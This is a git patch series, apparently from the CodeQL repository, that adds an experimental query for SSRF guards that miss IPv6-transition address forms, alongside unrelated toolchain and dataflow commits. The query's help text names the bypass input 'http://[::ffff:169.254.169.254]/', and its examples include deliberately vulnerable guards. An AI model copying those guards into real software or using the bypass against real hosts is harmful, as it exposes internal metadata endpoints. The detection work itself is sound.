javascript/ql/src/experimental/Security/CWE-918/examples/SsrfIpv6TransitionIncompleteGuardBad.js create mode 100644 javascript/ql/src/experimental/Security/CWE-918/examples/SsrfIpv6TransitionIncompleteGuardGood.js create mode 100644 javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/SsrfIpv6TransitionIncompleteGuard.expected create mode 100644 javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/SsrfIpv6TransitionIncompleteGuard.qlref create mode 100644 javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/bad-private-ip-pkg.js create mode 100644 javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/bad-rfc1918-regex.js create mode 100644 javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/good-explicit-unwrap.js create mode 100644 javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/good-ipaddr.js diff --git a/javascript/ql/src/change-notes/2026-06-06-ssrf-ipv6-transition-incomplete-guard.md b/javascript/ql/src/change-notes/2026-06-06-ssrf-ipv6-transition-incomplete-guard.md new file mode 100644 index 00000000000..35bd19acf46 --- /dev/null +++ b/javascript/ql/src/change-notes/2026-06-06-ssrf-ipv6-transition-incomplete-guard.md @@ -0,0 +1,4 @@ +--- +category: newQuery +--- +* Added a new experimental query, `javascript/ssrf-ipv6-transition-incomplete-guard`, to detect SSRF host-validation guards that reject private IPv4 ranges but fail to unwrap IPv6-transition forms (IPv4-mapped `::ffff:`, NAT64 `64:ff9b::`, 6to4 `2002::`), allowing the guard to be bypassed by wrapping an internal IPv4 address in a transition literal. diff --git a/javascript/ql/src/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard.qhelp b/javascript/ql/src/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard.qhelp new file mode 100644 index 00000000000..79230285f51 --- /dev/null +++ b/javascript/ql/src/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard.qhelp @@ -0,0 +1,59 @@ + + + + +

+ Server-side request forgery (SSRF) guards frequently reject requests to internal + addresses by checking the request host against a denylist of private, loopback and + cloud-metadata IPv4 ranges. When such a guard inspects only the dotted-quad IPv4 form + and never unwraps IPv6-transition representations, it can be bypassed: the host + validator classifies the address as public, but the operating system routes the + connection to the embedded internal IPv4 endpoint. +

+

+ The affected forms include IPv4-mapped IPv6 (::ffff:169.254.169.254), + NAT64 (64:ff9b::a9fe:a9fe) and 6to4 (2002::). A URL such as + http://[::ffff:169.254.169.254]/ passes a dotted-quad denylist unchanged + while still reaching the internal address. +

+
+ + +

+ Normalize the host before validating it: parse the address with a transition-aware + library and unwrap IPv4-mapped, NAT64 and 6to4 forms to their embedded IPv4 address, + then apply the private-range check to the normalized value. Libraries such as + ipaddr.js classify these forms correctly via their range API, and + SSRF-protection libraries such as request-filtering-agent apply the check + after DNS resolution. Validate the resolved address rather than the textual host. +

+
+ + +

+ The following guard rejects private IPv4 ranges using the private-ip + package, which inspects the textual IPv4 form only. An attacker supplies + ::ffff:169.254.169.254, which the guard classifies as public, but the + request still reaches the internal metadata endpoint. +

+ + + +

+ The following guard parses the host with a transition-aware classifier, so the + embedded internal IPv4 address is detected regardless of the transition form used. +

+ + +
+ + + +
  • OWASP: Server-Side Request Forgery.
  • +
  • Common Weakness Enumeration: CWE-918.
  • +
  • Common Weakness Enumeration: CWE-1389.
  • + +
    +
    diff --git a/javascript/ql/src/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard.ql b/javascript/ql/src/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard.ql new file mode 100644 index 00000000000..14e0766d796 --- /dev/null +++ b/javascript/ql/src/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard.ql @@ -0,0 +1,129 @@ +/** + * @name SSRF host guard does not reject IPv6-transition forms + * @description An SSRF host guard that rejects private or loopback IPv4 ranges but never + * unwraps IPv6-transition forms (IPv4-mapped `::ffff:`, NAT64 `64:ff9b::`, + * 6to4 `2002::`) can be bypassed by wrapping an internal IPv4 address in a + * transition literal, allowing requests to reach internal endpoints. + * @kind problem + * @problem.severity warning + * @id javascript/ssrf-ipv6-transition-incomplete-guard + * @tags security + * experimental + * external/cwe/cwe-918 + * external/cwe/cwe-1389 + */ + +import javascript + +/** + * Holds if `f` imports a dotted-quad-oriented private-IP guard package whose + * classification is performed on the textual IPv4 form and therefore returns + * `false` for an internal address wrapped in an IPv6-transition literal. + */ +predicate importsHandRolledIpGuard(File f) { + exists(DataFlow::SourceNode mod | + mod.getFile() = f and + mod = DataFlow::moduleImport(["private-ip", "is-ip", "ip", "ip-range-check"]) + ) +} + +/** + * Holds if `f` contains a call to an `isPrivate`-style host classifier, the + * common name for a hand-rolled SSRF guard. + */ +predicate hasIsPrivateCall(File f) { + exists(DataFlow::CallNode c | + c.getFile() = f and + c.getCalleeName().regexpMatch("(?i)^is_?private(ip|address|host)?$") + ) + or + exists(DataFlow::MethodCallNode m | + m.getFile() = f and + m.getMethodName().regexpMatch("(?i)^is_?private(ip|address|host)?$") + ) +} + +/** + * Holds if `f` contains a hand-written RFC 1918, loopback or cloud-metadata IPv4 + * literal used as a denylist entry. + */ +predicate hasRfc1918Literal(File f) { + exists(StringLiteral s | + s.getFile() = f and + s.getValue() + .regexpMatch("(?i).*(127\\.0\\.0\\.1|169\\.254\\.169\\.254|10\\.|192\\.168|172\\.1[6-9]|::1|fc00|fd00|metadata\\.google).*") + ) +} + +/** Holds if `f` carries any hand-rolled, dotted-quad-oriented SSRF guard signal. */ +predicate hasUnsafeGuardSignal(File f) { + importsHandRolledIpGuard(f) or + hasIsPrivateCall(f) or + hasRfc1918Literal(f) +} + +/** Holds if `func` has a name that reads as an SSRF host or URL validator. */ +predicate isSsrfValidatorFunction(Function func) { + func.getName() + .regexpMatch("(?i).*(validate|check|guard|reject|deny|block|allow|is_?safe|sanitiz)e?_?.*(url|host|ip|address|target|endpoint|webhook|origin).*") + or + func.getName() + .regexpMatch("(?i).*(is_?)?(private|internal|loopback|reserved|external)_?(ip|address|host|url).*") + or + func.getName().regexpMatch("(?i).*(ssrf|metadata).*") +} + +/** + * Holds if `f` imports a maturity-hardened, transition-aware address classifier + * or SSRF-protection library that does unwrap IPv6-transition forms. + */ +predicate importsSafeClassifier(File f) { + exists(DataFlow::SourceNode mod | + mod.getFile() = f and + mod = + DataFlow::moduleImport([ + "ipaddr.js", "ssrf-req-filter", "request-filtering-agent", "ssrf-agent", "netmask", + "ip-cidr", "cidr-matcher", "blocked-at" + ]) + ) +} + +/** + * Holds if `f` already performs an explicit IPv6-transition unwrap or + * canonicalization, so the guard does see the embedded IPv4 address. + */ +predicate hasTransitionUnwrap(File f) { + exists(StringLiteral s | + s.getFile() = f and + ( + s.getValue().matches("%64:ff9b%") or + s.getValue().matches("%::ffff%") or + s.getValue().matches("%2002:%") or + s.getValue().matches("%2001:%") + ) + ) + or + exists(Identifier id | + id.getFile() = f and + id.getName() + .regexpMatch("(?i).*(ipv4mapped|v4mapped|mappedipv4|ipv4inipv6|embeddedipv4|unwrap.*ip|toipv4|canonicaliz|isipv4compat).*") + ) + or + exists(DataFlow::MethodCallNode m | m.getFile() = f and m.getMethodName() = ["range", "kind"]) +} + +/** Holds if `f` is treated as safe (transition-aware), suppressing the alert. */ +predicate isSafe(File f) { importsSafeClassifier(f) or hasTransitionUnwrap(f) } + +from Function guard, File f +where + guard.getFile() = f and + isSsrfValidatorFunction(guard) and + hasUnsafeGuardSignal(f) and + not isSafe(f) and + not f.getRelativePath() + .regexpMatch("(?i).*/(tests?|specs?|examples?|__tests__|e2e|node_modules)/.*") +select guard, + "This SSRF host guard rejects private IPv4 ranges but never unwraps IPv6-transition forms " + + "(IPv4-mapped '::ffff:', NAT64 '64:ff9b::', 6to4 '2002::'); an attacker can wrap an internal " + + "IPv4 address in a transition literal to bypass it and reach internal endpoints." diff --git a/javascript/ql/src/experimental/Security/CWE-918/examples/SsrfIpv6TransitionIncompleteGuardBad.js b/javascript/ql/src/experimental/Security/CWE-918/examples/SsrfIpv6TransitionIncompleteGuardBad.js new file mode 100644 index 00000000000..0f0eabe1ce1 --- /dev/null +++ b/javascript/ql/src/experimental/Security/CWE-918/examples/SsrfIpv6TransitionIncompleteGuardBad.js @@ -0,0 +1,14 @@ +const isPrivate = require('private-ip'); +const fetch = require('node-fetch'); + +// BAD: `private-ip` classifies the textual IPv4 form only, so it returns false +// for `::ffff:169.254.169.254`. The guard treats the wrapped internal address as +// public, but the request still reaches the metadata endpoint. +async function validateUrlHost(host) { + if (isPrivate(host)) { + throw new Error('blocked private host'); + } + return fetch('http://' + host + '/'); +} + +module.exports = { validateUrlHost }; diff --git a/javascript/ql/src/experimental/Security/CWE-918/examples/SsrfIpv6TransitionIncompleteGuardGood.js b/javascript/ql/src/experimental/Security/CWE-918/examples/SsrfIpv6TransitionIncompleteGuardGood.js new file mode 100644 index 00000000000..0d4a9820fd6 --- /dev/null +++ b/javascript/ql/src/experimental/Security/CWE-918/examples/SsrfIpv6TransitionIncompleteGuardGood.js @@ -0,0 +1,16 @@ +const ipaddr = require('ipaddr.js'); +const fetch = require('node-fetch'); + +// GOOD: ipaddr.js parses the host and classifies it with `.range()`, which is +// transition-aware. `::ffff:169.254.169.254` parses as an IPv4-mapped address and +// is reported in the `linkLocal` range, so the guard is complete. +async function validateTargetHost(host) { + const addr = ipaddr.parse(host); + const range = addr.range(); + if (range === 'private' || range === 'loopback' || range === 'linkLocal') { + throw new Error('blocked internal host'); + } + return fetch('http://' + host + '/'); +} + +module.exports = { validateTargetHost }; diff --git a/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/SsrfIpv6TransitionIncompleteGuard.expected b/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/SsrfIpv6TransitionIncompleteGuard.expected new file mode 100644 index 00000000000..e488048f9af --- /dev/null +++ b/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/SsrfIpv6TransitionIncompleteGuard.expected @@ -0,0 +1,2 @@ +| bad-private-ip-pkg.js:6:1:11:1 | async f ... '/');\\n} | This SSRF host guard rejects private IPv4 ranges but never unwraps IPv6-transition forms (IPv4-mapped '::ffff:', NAT64 '64:ff9b::', 6to4 '2002::'); an attacker can wrap an internal IPv4 address in a transition literal to bypass it and reach internal endpoints. | +| bad-rfc1918-regex.js:5:1:16:1 | functio ... '/');\\n} | This SSRF host guard rejects private IPv4 ranges but never unwraps IPv6-transition forms (IPv4-mapped '::ffff:', NAT64 '64:ff9b::', 6to4 '2002::'); an attacker can wrap an internal IPv4 address in a transition literal to bypass it and reach internal endpoints. | diff --git a/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/SsrfIpv6TransitionIncompleteGuard.qlref b/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/SsrfIpv6TransitionIncompleteGuard.qlref new file mode 100644 index 00000000000..50159ab72fe --- /dev/null +++ b/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/SsrfIpv6TransitionIncompleteGuard.qlref @@ -0,0 +1 @@ +experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard.ql \ No newline at end of file diff --git a/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/bad-private-ip-pkg.js b/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/bad-private-ip-pkg.js new file mode 100644 index 00000000000..972d7aad9b7 --- /dev/null +++ b/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/bad-private-ip-pkg.js @@ -0,0 +1,13 @@ +const isPrivate = require('private-ip'); +const fetch = require('node-fetch'); + +// BAD: `private-ip` classifies the textual IPv4 form only. It returns false for +// `::ffff:169.254.169.254`, so a transition-wrapped internal address slips past. +async function validateUrlHost(host) { // NOT OK + if (isPrivate(host)) { + throw new Error('blocked private host'); + } + return fetch('http://' + host + '/'); +} + +module.exports = { validateUrlHost }; diff --git a/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/bad-rfc1918-regex.js b/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/bad-rfc1918-regex.js new file mode 100644 index 00000000000..be70a4a5e5d --- /dev/null +++ b/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/bad-rfc1918-regex.js @@ -0,0 +1,18 @@ +const http = require('http'); + +// BAD: a hand-written RFC 1918 / loopback / metadata denylist matched against the +// host string. The embedded IPv4 inside `::ffff:10.0.0.1` is never seen. +function checkTargetHost(host) { // NOT OK + if ( + host === '127.0.0.1' || + host === '169.254.169.254' || + host.startsWith('10.') || + host.startsWith('192.168') || + host.startsWith('172.16') + ) { + throw new Error('blocked internal host'); + } + return http.get('http://' + host + '/'); +} + +module.exports = { checkTargetHost }; diff --git a/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/good-explicit-unwrap.js b/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/good-explicit-unwrap.js new file mode 100644 index 00000000000..d7bc0707914 --- /dev/null +++ b/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/good-explicit-unwrap.js @@ -0,0 +1,32 @@ +const http = require('http'); + +const IPV4_MAPPED_PREFIX = '::ffff:'; + +// OK: this guard uses a hand-rolled denylist, but it first unwraps the +// IPv6-transition form, so the embedded IPv4 is normalized before the check. +function unwrapMapped(host) { + // strip an IPv4-mapped `::ffff:` prefix down to the embedded dotted quad + if (host.toLowerCase().startsWith(IPV4_MAPPED_PREFIX)) { + return host.slice(IPV4_MAPPED_PREFIX.length); + } + return host; +} + +function isPrivateAddress(host) { // OK + const h = unwrapMapped(host); + return ( + h === '127.0.0.1' || + h === '169.254.169.254' || + h.startsWith('10.') || + h.startsWith('192.168') + ); +} + +function validateHost(host) { // OK + if (isPrivateAddress(host)) { + throw new Error('blocked internal host'); + } + return http.get('http://' + host + '/'); +} + +module.exports = { validateHost }; diff --git a/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/good-ipaddr.js b/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/good-ipaddr.js new file mode 100644 index 00000000000..9994eba44c3 --- /dev/null +++ b/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/good-ipaddr.js @@ -0,0 +1,16 @@ +const ipaddr = require('ipaddr.js'); +const fetch = require('node-fetch'); + +// OK: ipaddr.js parses the address and classifies it with `.range()`, which is +// transition-aware. `::ffff:10.0.0.1` parses as an IPv4-mapped address and is +// reported in the `private` range, so the guard is complete. +async function validateTargetHost(host) { // OK + const addr = ipaddr.parse(host); + const range = addr.range(); + if (range === 'private' || range === 'loopback' || range === 'linkLocal') { + throw new Error('blocked internal host'); + } + return fetch('http://' + host + '/'); +} + +module.exports = { validateTargetHost }; From 5a38cbd5d50fe35e88653051d0f34b5f6f05b64d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Mon, 8 Jun 2026 04:30:10 +0000 Subject: [PATCH 046/143] Go: Update to 1.26.4 --- MODULE.bazel | 2 +- go/actions/test/action.yml | 2 +- go/extractor/go.mod | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/MODULE.bazel b/MODULE.bazel index fd923a32e62..8bdc850e327 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -273,7 +273,7 @@ use_repo( ) go_sdk = use_extension("@rules_go//go:extensions.bzl", "go_sdk") -go_sdk.download(version = "1.26.0") +go_sdk.download(version = "1.26.4") go_deps = use_extension("@gazelle//:extensions.bzl", "go_deps") go_deps.from_file(go_mod = "//go/extractor:go.mod") diff --git a/go/actions/test/action.yml b/go/actions/test/action.yml index bec48ef4bff..3cc3334d39e 100644 --- a/go/actions/test/action.yml +++ b/go/actions/test/action.yml @@ -4,7 +4,7 @@ inputs: go-test-version: description: Which Go version to use for running the tests required: false - default: "~1.26.0" + default: "~1.26.4" run-code-checks: description: Whether to run formatting, code and qhelp generation checks required: false diff --git a/go/extractor/go.mod b/go/extractor/go.mod index 25c8e3d0e5d..1db6ad2f5de 100644 --- a/go/extractor/go.mod +++ b/go/extractor/go.mod @@ -2,7 +2,7 @@ module github.com/github/codeql-go/extractor go 1.26 -toolchain go1.26.0 +toolchain go1.26.4 // when updating this, run // bazel run @rules_go//go -- mod tidy From cc1ea258560702f6b0fa32e320c5628afc36b550 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Thu, 4 Jun 2026 15:13:25 +0200 Subject: [PATCH 047/143] Python: Implement `ContentApprox` --- .../dataflow/new/internal/DataFlowPrivate.qll | 59 ++++++++++++++++++- 1 file changed, 56 insertions(+), 3 deletions(-) diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 1ea5765dc37..897248d0a5d 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -1249,12 +1249,65 @@ predicate allowParameterReturnInSelf(ParameterNode p) { ) } +bindingset[s] +private string getFirstChar(string s) { + result = + min(int i, string c | + c = s.charAt(i) and c != "_" + or + c = "" and i = s.length() + | + c order by i + ) +} + +private string getAttributeContentFirstChar(AttributeContent ac) { + result = getFirstChar(ac.getAttribute()) +} + +private string getDictionaryElementContentKeyFirstChar(DictionaryElementContent dec) { + result = getFirstChar(dec.getKey()) +} + +private newtype TContentApprox = + TListElementContentApprox() or + TSetElementContentApprox() or + TTupleElementContentApprox() or + TDictionaryElementContentApprox(string first) { + first = "" // for `TDictionaryElementAnyContent` + or + first = getDictionaryElementContentKeyFirstChar(_) + } or + TAttributeContentApprox(string first) { first = getAttributeContentFirstChar(_) } or + TCapturedVariableContentApprox() + /** An approximated `Content`. */ -class ContentApprox = Unit; +class ContentApprox extends TContentApprox { + /** Gets a textual representation of this element. */ + string toString() { result = "" } +} /** Gets an approximated value for content `c`. */ -pragma[inline] -ContentApprox getContentApprox(Content c) { any() } +ContentApprox getContentApprox(Content c) { + c = TListElementContent() and + result = TListElementContentApprox() + or + c = TSetElementContent() and + result = TSetElementContentApprox() + or + c = TTupleElementContent(_) and + result = TTupleElementContentApprox() + or + result = TDictionaryElementContentApprox(getDictionaryElementContentKeyFirstChar(c)) + or + c = TDictionaryElementAnyContent() and + result = TDictionaryElementContentApprox("") + or + result = TAttributeContentApprox(getAttributeContentFirstChar(c)) + or + c = TCapturedVariableContent(_) and + result = TCapturedVariableContentApprox() +} /** Helper for `.getEnclosingCallable`. */ DataFlowCallable getCallableScope(Scope s) { From c47135a40b2c0a2e6d9c11f826655de27e8f61d3 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Mon, 8 Jun 2026 13:40:33 +0200 Subject: [PATCH 048/143] Cfg: Add consistency check for relevant child indices. --- .../codeql/controlflow/ControlFlowGraph.qll | 20 +++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll b/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll index fff877b9fcd..e917d772886 100644 --- a/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll +++ b/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll @@ -2090,6 +2090,12 @@ module Make0 Ast> { module Consistency { /** Holds if the consistency query `query` has `results` results. */ query predicate consistencyOverview(string query, int results) { + query = "siblingsWithSameIndexInDefaultCfg" and + results = + strictcount(AstNode parent, AstNode child1, AstNode child2, int i | + siblingsWithSameIndexInDefaultCfg(parent, child1, child2, i) + ) + or query = "deadEnd" and results = strictcount(ControlFlowNode node | deadEnd(node)) or query = "nonUniqueEnclosingCallable" and @@ -2135,6 +2141,20 @@ module Make0 Ast> { results = strictcount(ControlFlowNode node, SuccessorType t | selfLoop(node, t)) } + /** + * Holds if `parent` uses default left-to-right control flow and has + * two different children `child1` and `child2` at the same index + * `i`. + */ + query predicate siblingsWithSameIndexInDefaultCfg( + AstNode parent, AstNode child1, AstNode child2, int i + ) { + defaultCfg(parent) and + getChild(parent, i) = child1 and + getChild(parent, i) = child2 and + child1 != child2 + } + /** * Holds if `node` is lacking a successor. * From 01173bf383fdb3e13b5be81f57f8215944f211ee Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Mon, 8 Jun 2026 14:01:24 +0200 Subject: [PATCH 049/143] Cfg: Fold getTryInit into indexed getBody. --- .../controlflow/internal/ControlFlowGraph.qll | 2 +- .../lib/semmle/code/java/ControlFlowGraph.qll | 9 ++-- .../codeql/controlflow/ControlFlowGraph.qll | 45 +++++++------------ 3 files changed, 24 insertions(+), 32 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/controlflow/internal/ControlFlowGraph.qll b/csharp/ql/lib/semmle/code/csharp/controlflow/internal/ControlFlowGraph.qll index 7e5072637c3..0d8ced82e24 100644 --- a/csharp/ql/lib/semmle/code/csharp/controlflow/internal/ControlFlowGraph.qll +++ b/csharp/ql/lib/semmle/code/csharp/controlflow/internal/ControlFlowGraph.qll @@ -203,7 +203,7 @@ module Ast implements AstSig { final private class FinalTryStmt = CS::TryStmt; class TryStmt extends FinalTryStmt { - Stmt getBody() { result = this.getBlock() } + Stmt getBody(int index) { index = 0 and result = this.getBlock() } CatchClause getCatch(int index) { result = this.getCatchClause(index) } diff --git a/java/ql/lib/semmle/code/java/ControlFlowGraph.qll b/java/ql/lib/semmle/code/java/ControlFlowGraph.qll index 3407a43403e..ec1ce80a9b8 100644 --- a/java/ql/lib/semmle/code/java/ControlFlowGraph.qll +++ b/java/ql/lib/semmle/code/java/ControlFlowGraph.qll @@ -117,15 +117,18 @@ private module Ast implements AstSig { final private class FinalTryStmt = J::TryStmt; class TryStmt extends FinalTryStmt { - Stmt getBody() { result = super.getBlock() } + Stmt getBody(int index) { + result = super.getResource(index) + or + index = count(super.getAResource()) and + result = super.getBlock() + } CatchClause getCatch(int index) { result = super.getCatchClause(index) } Stmt getFinally() { result = super.getFinally() } } - AstNode getTryInit(TryStmt try, int index) { result = try.getResource(index) } - final private class FinalCatchClause = J::CatchClause; class CatchClause extends FinalCatchClause { diff --git a/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll b/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll index 33a609d5552..4e6fd7ac2d4 100644 --- a/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll +++ b/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll @@ -185,8 +185,12 @@ signature module AstSig { /** A `try` statement with `catch` and/or `finally` clauses. */ class TryStmt extends Stmt { - /** Gets the body of this `try` statement. */ - Stmt getBody(); + /** + * Gets the body of this `try` statement at the specified (zero-based) + * position `index`. In some languages, there is only ever a single body + * (with `index` 0). + */ + Stmt getBody(int index); /** * Gets the `catch` clause at the specified (zero-based) position `index` @@ -198,15 +202,6 @@ signature module AstSig { Stmt getFinally(); } - /** - * Gets the initializer of this `try` statement at the specified (zero-based) - * position `index`, if any. - * - * An example of this are resource declarations in Java's try-with-resources - * statement. - */ - default AstNode getTryInit(TryStmt try, int index) { none() } - /** * Gets the `else` block of this `try` statement, if any. * @@ -699,7 +694,7 @@ module Make0 Ast> { or exists(TryStmt trystmt | trystmt = n and - cannotTerminateNormally(trystmt.getBody()) and + cannotTerminateNormally(trystmt.getBody(_)) and forall(CatchClause catch | trystmt.getCatch(_) = catch | cannotTerminateNormally(catch.getBody()) ) @@ -1256,11 +1251,7 @@ module Make0 Ast> { ) ) or - exists(TryStmt trystmt | - ast = getTryInit(trystmt, _) - or - ast = trystmt.getBody() - | + exists(TryStmt trystmt | ast = trystmt.getBody(_) | c.getSuccessorType() instanceof ExceptionSuccessor and ( n.isBefore(trystmt.getCatch(0)) @@ -1635,16 +1626,11 @@ module Make0 Ast> { or exists(TryStmt trystmt | n1.isBefore(trystmt) and - ( - n2.isBefore(getTryInit(trystmt, 0)) - or - not exists(getTryInit(trystmt, _)) and n2.isBefore(trystmt.getBody()) - ) + n2.isBefore(trystmt.getBody(0)) or - exists(int i | n1.isAfter(getTryInit(trystmt, i)) | - n2.isBefore(getTryInit(trystmt, i + 1)) - or - not exists(getTryInit(trystmt, i + 1)) and n2.isBefore(trystmt.getBody()) + exists(int i | + n1.isAfter(trystmt.getBody(i)) and + n2.isBefore(trystmt.getBody(i + 1)) ) or exists(PreControlFlowNode beforeElse, PreControlFlowNode beforeFinally | @@ -1659,8 +1645,11 @@ module Make0 Ast> { not exists(trystmt.getFinally()) and beforeFinally.isAfter(trystmt) ) | - n1.isAfter(trystmt.getBody()) and - n2 = beforeElse + exists(int i | + n1.isAfter(trystmt.getBody(i)) and + not exists(trystmt.getBody(i + 1)) and + n2 = beforeElse + ) or n1.isAfter(getTryElse(trystmt)) and n2 = beforeFinally From 72fcf27d1a6a7a5634253258f1b316e648191084 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 9 Jun 2026 03:03:37 +0000 Subject: [PATCH 050/143] Bump golang.org/x/mod Bumps the extractor-dependencies group in /go/extractor with 1 update: [golang.org/x/mod](https://github.com/golang/mod). Updates `golang.org/x/mod` from 0.36.0 to 0.37.0 - [Commits](https://github.com/golang/mod/compare/v0.36.0...v0.37.0) --- updated-dependencies: - dependency-name: golang.org/x/mod dependency-version: 0.37.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: extractor-dependencies ... Signed-off-by: dependabot[bot] --- go/extractor/go.mod | 2 +- go/extractor/go.sum | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/go/extractor/go.mod b/go/extractor/go.mod index 1db6ad2f5de..04abf5cdbe5 100644 --- a/go/extractor/go.mod +++ b/go/extractor/go.mod @@ -9,7 +9,7 @@ toolchain go1.26.4 // when adding or removing dependencies, run // bazel mod tidy require ( - golang.org/x/mod v0.36.0 + golang.org/x/mod v0.37.0 golang.org/x/tools v0.45.0 ) diff --git a/go/extractor/go.sum b/go/extractor/go.sum index 660ae874a65..86c3e7b5f11 100644 --- a/go/extractor/go.sum +++ b/go/extractor/go.sum @@ -6,8 +6,8 @@ github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZb github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= -golang.org/x/mod v0.36.0 h1:JJjpVx6myfUsUdAzZuOSTTmRE0PfZeNWzzvKrP7amb4= -golang.org/x/mod v0.36.0/go.mod h1:moc6ELqsWcOw5Ef3xVprK5ul/MvtVvkIXLziUOICjUQ= +golang.org/x/mod v0.37.0 h1:vF1DjpVEshcIqoEaauuHebaLk1O1forxjxBaVn884JQ= +golang.org/x/mod v0.37.0/go.mod h1:m8S8VeM9r4dzDwjrKO0a1sZP3YjeMamRRlD+fmR2Q/0= golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4= golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= golang.org/x/tools v0.45.0 h1:18qN3FAooORvApf5XjCXgsuayZOEtXf6JK18I3+ONa8= From 4c1a0058bf39a8413b8e4f10c1bc883511a6aa4a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?tonghuaroot=20=28=E7=AB=A5=E8=AF=9D=29?= Date: Wed, 10 Jun 2026 08:42:42 +0800 Subject: [PATCH 051/143] Add SsrfIpv6TransitionIncompleteGuard.ql to not_included_in_qls.expected Fix the JS integration test failure flagged in review by listing the new experimental CWE-918 query in the expected not-included-in-qls suite, in sorted order. --- .../integration-tests/query-suite/not_included_in_qls.expected | 1 + 1 file changed, 1 insertion(+) diff --git a/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected b/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected index 46317e8800f..4eb34a847e2 100644 --- a/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected +++ b/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected @@ -63,6 +63,7 @@ ql/javascript/ql/src/experimental/Security/CWE-347/decodeJwtWithoutVerificationL ql/javascript/ql/src/experimental/Security/CWE-444/InsecureHttpParser.ql ql/javascript/ql/src/experimental/Security/CWE-522-DecompressionBombs/DecompressionBombs.ql ql/javascript/ql/src/experimental/Security/CWE-918/SSRF.ql +ql/javascript/ql/src/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard.ql ql/javascript/ql/src/experimental/StandardLibrary/MultipleArgumentsToSetConstructor.ql ql/javascript/ql/src/experimental/heuristics/ql/src/Security/CWE-020/UntrustedDataToExternalAPI.ql ql/javascript/ql/src/experimental/heuristics/ql/src/Security/CWE-078/CommandInjection.ql From 1c1d26453ddec0796b22968273afe81006e5084c Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Wed, 10 Jun 2026 07:46:42 